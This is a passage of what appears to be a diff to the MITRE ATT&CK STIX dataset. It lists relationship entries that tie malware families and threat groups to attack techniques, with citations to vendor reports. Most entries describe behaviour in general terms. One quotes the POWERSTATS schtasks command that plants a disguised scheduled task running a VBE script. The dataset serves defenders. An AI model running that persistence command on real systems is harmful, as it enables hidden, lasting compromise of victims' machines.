"[OLDBAIT](https://attack.mitre.org/software/S0138) collects credentials from Internet Explorer, Mozilla Firefox, Eudora, and several email clients.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--695c2f41-140a-48f9-9e14-0cd58d7712d1", + "source_ref": "malware--2dd34b01-6110-4aac-835d-b5e7b936b0be", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "source_name": "FireEye APT28", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[NanoCore](https://attack.mitre.org/software/S0336) uses VBS and JavaScript files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T20:05:36.496Z", + "id": "relationship--a01519cd-b198-4c60-a5ed-1ca3528d0606", + "source_ref": "malware--b4d80f8b-d2b9-4448-8844-4bef777ed676", + "modified": "2019-04-17T20:47:23.911Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Patel, K. (2018, March 02). The NanoCore RAT Has Resurfaced From the Sewers. Retrieved November 9, 2018.", + "source_name": "Cofense NanoCore Mar 2018", + "url": "https://cofense.com/nanocore-rat-resurfaced-sewers/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[WinMM](https://attack.mitre.org/software/S0059) uses NetUser-GetInfo to identify that it is running under an \u201cAdmin\u201d account on the local system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--af6e3f9e-7c71-484d-ab8e-5adaaaedea36", + "source_ref": "malware--22addc7b-b39f-483d-979a-1b35147da5de", + "modified": "2019-05-03T16:45:45.264Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "source_name": "Baumgartner Naikon 2015", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) has executed commands through Microsoft security vulnerabilities, including CVE-2017-11882, CVE-2018-0802, and CVE-2012-0158.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T20:17:49.381Z", + "id": "relationship--ad934b01-9c8c-42cd-8195-dc272c363208", + "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", + "modified": "2019-06-30T22:44:28.217Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "TrendMicro Tropic Trooper Mar 2018", + "description": "Horejsi, J., et al. (2018, March 14). Tropic Trooper\u2019s New Strategy. Retrieved November 9, 2018.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/" + }, + { + "source_name": "Unit 42 Tropic Trooper Nov 2016", + "description": "Ray, V. (2016, November 22). Tropic Trooper Targets Taiwanese Government and Fossil Fuel Provider With Poison Ivy. Retrieved November 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/11/unit42-tropic-trooper-targets-taiwanese-government-and-fossil-fuel-provider-with-poison-ivy/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--66f73398-8394-4711-85e5-34c8540b22a5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--9692d2b6-c933-4c1a-8ea0-1f0babfeeec9", + "source_ref": "course-of-action--7aee8ea0-0baa-4232-b379-5d9ce98352cf", + "modified": "2019-07-24T19:37:27.911Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[BadPatch](https://attack.mitre.org/software/S0337) establishes a foothold by adding a link to the malware executable in the startup folder.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T21:33:34.692Z", + "id": "relationship--11d37d18-3ad6-41ed-a99e-f1cc9d524c6c", + "source_ref": "malware--9af05de0-bc09-4511-a350-5eb8b06185c1", + "modified": "2019-04-23T21:17:49.857Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Bar, T., Conant, S. (2017, October 20). BadPatch. Retrieved November 13, 2018.", + "source_name": "Unit 42 BadPatch Oct 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-badpatch/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "description": "The [Regin](https://attack.mitre.org/software/S0019) malware platform can use ICMP to communicate between infected computers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--e7ac3ee3-a014-4b07-9bad-b93d3d1d0f4b", + "source_ref": "malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November 24). THE REGIN PLATFORM NATION-STATE OWNAGE OF GSM NETWORKS. Retrieved December 1, 2014.", + "source_name": "Kaspersky Regin", + "url": "https://securelist.com/files/2014/11/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[Micropsia](https://attack.mitre.org/software/S0339) takes screenshots every 90 seconds by calling the Gdi32.BitBlt API.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29T21:47:53.746Z", + "id": "relationship--b8a7be73-89a5-4689-8eea-280b745bd3cc", + "source_ref": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349", + "modified": "2019-04-17T22:05:05.892Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Tsarfaty, Y. (2018, July 25). Micropsia Malware. Retrieved November 13, 2018.", + "source_name": "Radware Micropsia July 2018", + "url": "https://blog.radware.com/security/2018/07/micropsia-malware/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[XAgentOSX](https://attack.mitre.org/software/S0161) contains keylogging functionality that will monitor for active application windows and write them to the log, it can handle special characters, and it will buffer by default 50 characters before sending them out over the C2 infrastructure.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--11ed82c1-88af-4c23-860e-185505389288", + "source_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069", + "modified": "2019-07-26T23:07:21.246Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.", + "source_name": "XAgentOSX 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[Xbash](https://attack.mitre.org/software/S0341) can execute malicious JavaScript and VBScript payloads on the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T13:28:47.846Z", + "id": "relationship--21117898-adc0-41c1-9e2e-2551e638ef71", + "source_ref": "malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c", + "modified": "2019-06-28T15:15:54.372Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 Xbash Sept 2018", + "description": "Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.079Z", + "id": "relationship--68487d82-458b-4f45-b1c8-c6e4affaa226", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "modified": "2019-09-03T18:50:16.902Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + }, + { + "source_name": "FireEye APT10 April 2017", + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + }, + { + "description": "United States District Court Southern District of New York (USDC SDNY) . (2018, December 17). United States of America v. Zhu Hua and Zhang Shilong. Retrieved April 17, 2019.", + "source_name": "DOJ APT10 Dec 2018", + "url": "https://www.justice.gov/opa/press-release/file/1121706/download" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[APT18](https://attack.mitre.org/groups/G0026) uses port 80 for C2 communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T14:00:49.735Z", + "id": "relationship--6d492623-1e48-45d8-9062-9c9565bb3a8b", + "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648", + "modified": "2019-05-30T18:05:32.805Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PaloAlto DNS Requests May 2016", + "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved November 15, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/" + }, + { + "description": "Shelmire, A. (2015, July 06). Evasive Maneuvers by the Wekby group with custom ROP-packing and DNS covert channels. Retrieved November 15, 2018.", + "source_name": "Anomali Evasive Maneuvers July 2015", + "url": "https://www.anomali.com/blog/evasive-maneuvers-the-wekby-group-attempts-to-evade-analysis-via-custom-rop" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[Gazer](https://attack.mitre.org/software/S0168) has commands to delete files and persistence mechanisms from the victim.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--85c95ce3-8685-4d2a-9d6f-7e4be4cd9623", + "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.", + "source_name": "ESET Gazer Aug 2017", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf" + }, + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2017, August 30). Introducing WhiteBear. Retrieved September 21, 2017.", + "source_name": "Securelist WhiteBear Aug 2017", + "url": "https://securelist.com/introducing-whitebear/81638/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has collected the OS version and computer name from victims. One of the group's backdoors can also query the Windows Registry to gather system information, and another macOS backdoor performs a fingerprint of the machine on its first connection to the C&C server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--43809fa9-dbe2-4429-875e-f0828563d6aa", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:38.190Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET OceanLotus", + "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.", + "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/" + }, + { + "source_name": "ESET OceanLotus Mar 2019", + "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.", + "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/" + }, + { + "description": "Dumont, R.. (2019, April 9). OceanLotus: macOS malware update. Retrieved April 15, 2019.", + "source_name": "ESET OceanLotus macOS April 2019", + "url": "https://www.welivesecurity.com/2019/04/09/oceanlotus-macos-malware-update/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "description": "[Seasalt](https://attack.mitre.org/software/S0345) is capable of installing itself as a service.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:27:06.685Z", + "id": "relationship--a81c971e-732c-4e76-99ad-c7108642dd47", + "source_ref": "malware--b45747dc-87ca-4597-a245-7e16a61bc491", + "modified": "2019-02-12T21:28:19.615Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Mandiant APT1 Appendix", + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787", + "description": "The [Regin](https://attack.mitre.org/software/S0019) malware platform can use Windows admin shares to move laterally.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--b98c506f-3dd3-45c1-b81a-3e23bcfe6198", + "source_ref": "malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November 24). THE REGIN PLATFORM NATION-STATE OWNAGE OF GSM NETWORKS. Retrieved December 1, 2014.", + "source_name": "Kaspersky Regin", + "url": "https://securelist.com/files/2014/11/Kaspersky_Lab_whitepaper_Regin_platform_eng.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5", + "description": "[PowerDuke](https://attack.mitre.org/software/S0139) uses rundll32.exe to load.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--1cbf5583-626a-4a24-bc59-f3b973752cee", + "source_ref": "malware--00c3bfcb-99bd-4767-8c03-b08f585f5c8a", + "modified": "2019-04-22T22:31:38.444Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.", + "source_name": "Volexity PowerDuke November 2016", + "url": "https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "A variant of [ADVSTORESHELL](https://attack.mitre.org/software/S0045) attempts communication to the C2 server over HTTP on port 443.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--d3c8d1a9-9413-4633-9cbf-4bc34bb5054d", + "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.", + "source_name": "Bitdefender APT28 Dec 2015", + "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[CALENDAR](https://attack.mitre.org/software/S0025) has a command to run cmd.exe to execute commands.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T15:39:45.647Z", + "id": "relationship--121d2e76-5ba1-475d-9cf9-1046724abae1", + "source_ref": "malware--5a84dc36-df0d-4053-9b7c-f0c388a57283", + "modified": "2019-01-30T15:39:45.647Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Mandiant APT1 Appendix", + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", + "description": "[Derusbi](https://attack.mitre.org/software/S0021) binds to a raw socket on a random source port between 31800 and 31900 for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--c52eb151-c8c5-45f1-984b-d99a12ca05cf", + "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344", + "modified": "2019-08-16T18:52:50.624Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Fidelis Turbo", + "description": "Fidelis Cybersecurity. (2016, February 29). The Turbo Campaign, Featuring Derusbi for 64-bit Linux. Retrieved March 2, 2016.", + "url": "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2016/2016.02.29.Turbo_Campaign_Derusbi/TA_Fidelis_Turbo_1602_0.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", + "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) can act as a reverse proxy.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T16:39:54.292Z", + "id": "relationship--a03d084b-c216-4962-93e8-6c0dc8f0cb91", + "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4", + "modified": "2019-06-10T18:25:51.723Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "PaloAlto CardinalRat Apr 2017", + "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[BACKSPACE](https://attack.mitre.org/software/S0031) allows adversaries to search for files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--991c16bd-c17b-479a-8f45-385467323c0a", + "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "source_name": "FireEye APT30", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) has established persistence through a scheduled task using the command \u201dC:\\Windows\\system32\\schtasks.exe\u201d /Create /F /SC DAILY /ST 12:00 /TN MicrosoftEdge /TR \u201cc:\\Windows\\system32\\wscript.exe C:\\Windows\\temp\\Windows.vbe\u201d.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T17:13:11.901Z", + "id": "relationship--b853cee3-a145-407f-83fe-dd52c4efbe2f", + "source_ref": "malware--e8545794-b98c-492b-a5b3-4b5a02682e37", + "modified": "2019-04-22T22:36:53.079Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ClearSky MuddyWater Nov 2018", + "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.", + "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[FIN6](https://attack.mitre.org/groups/G0037) used the Plink command-line utility to create SSH tunnels to C2 servers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.072Z", + "id": "relationship--20c7d1a2-be94-4f58-83a9-7eb9e05c4449", + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "modified": "2019-06-28T14:59:17.770Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye FIN6 April 2016", + "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6", + "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) used embedded iframes on hotel login portals to redirect selected victims to download malware.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T17:43:28.259Z", + "id": "relationship--4f62c818-2129-4dc2-9f80-105412df4b1d", + "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383", + "modified": "2019-01-31T18:48:52.181Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Darkhotel", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, November). The Darkhotel APT A Story of Unusual Hospitality. Retrieved November 12, 2014.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08070903/darkhotel_kl_07.11.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "[Patchwork](https://attack.mitre.org/groups/G0040) installed its payload in the startup programs folder as \"Baidu Software Update.\" The group also adds its second stage payload to the startup programs as \u201cNet Monitor.\"", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.076Z", + "id": "relationship--42d4ae64-75da-4dfd-b23f-d270252115ee", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "modified": "2019-07-11T13:53:06.026Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cymmetria. (2016). Unveiling Patchwork - The Copy-Paste APT. Retrieved August 3, 2016.", + "source_name": "Cymmetria Patchwork", + "url": "https://s3-us-west-2.amazonaws.com/cymmetria-blog/public/Unveiling_Patchwork.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Night Dragon](https://attack.mitre.org/groups/G0014) has used HTTP for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T18:02:59.294Z", + "id": "relationship--9f89d00f-fc0f-4dbb-9b54-3553821bf7ef", + "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8", + "modified": "2019-03-25T14:36:29.868Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "source_name": "McAfee Night Dragon", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[RGDoor](https://attack.mitre.org/software/S0258) uses cmd.exe to execute commands on the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--2d467445-9cce-4e84-968e-7a7ecc0a81fa", + "source_ref": "malware--b9eec47e-98f4-4b3c-b574-3fa8a87ebe05", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. (2018, January 25). OilRig uses RGDoor IIS Backdoor on Targets in the Middle East. Retrieved July 6, 2018.", + "source_name": "Unit 42 RGDoor Jan 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[Cannon](https://attack.mitre.org/software/S0351) can gather the username from the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-30T18:58:04.062Z", + "id": "relationship--47a31ea1-4b4d-4141-9d41-07d3b229913c", + "source_ref": "malware--d20b397a-ea47-48a9-b503-2e2a3551e11d", + "modified": "2019-04-22T19:48:08.955Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Unit42 Cannon Nov 2018", + "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.", + "url": 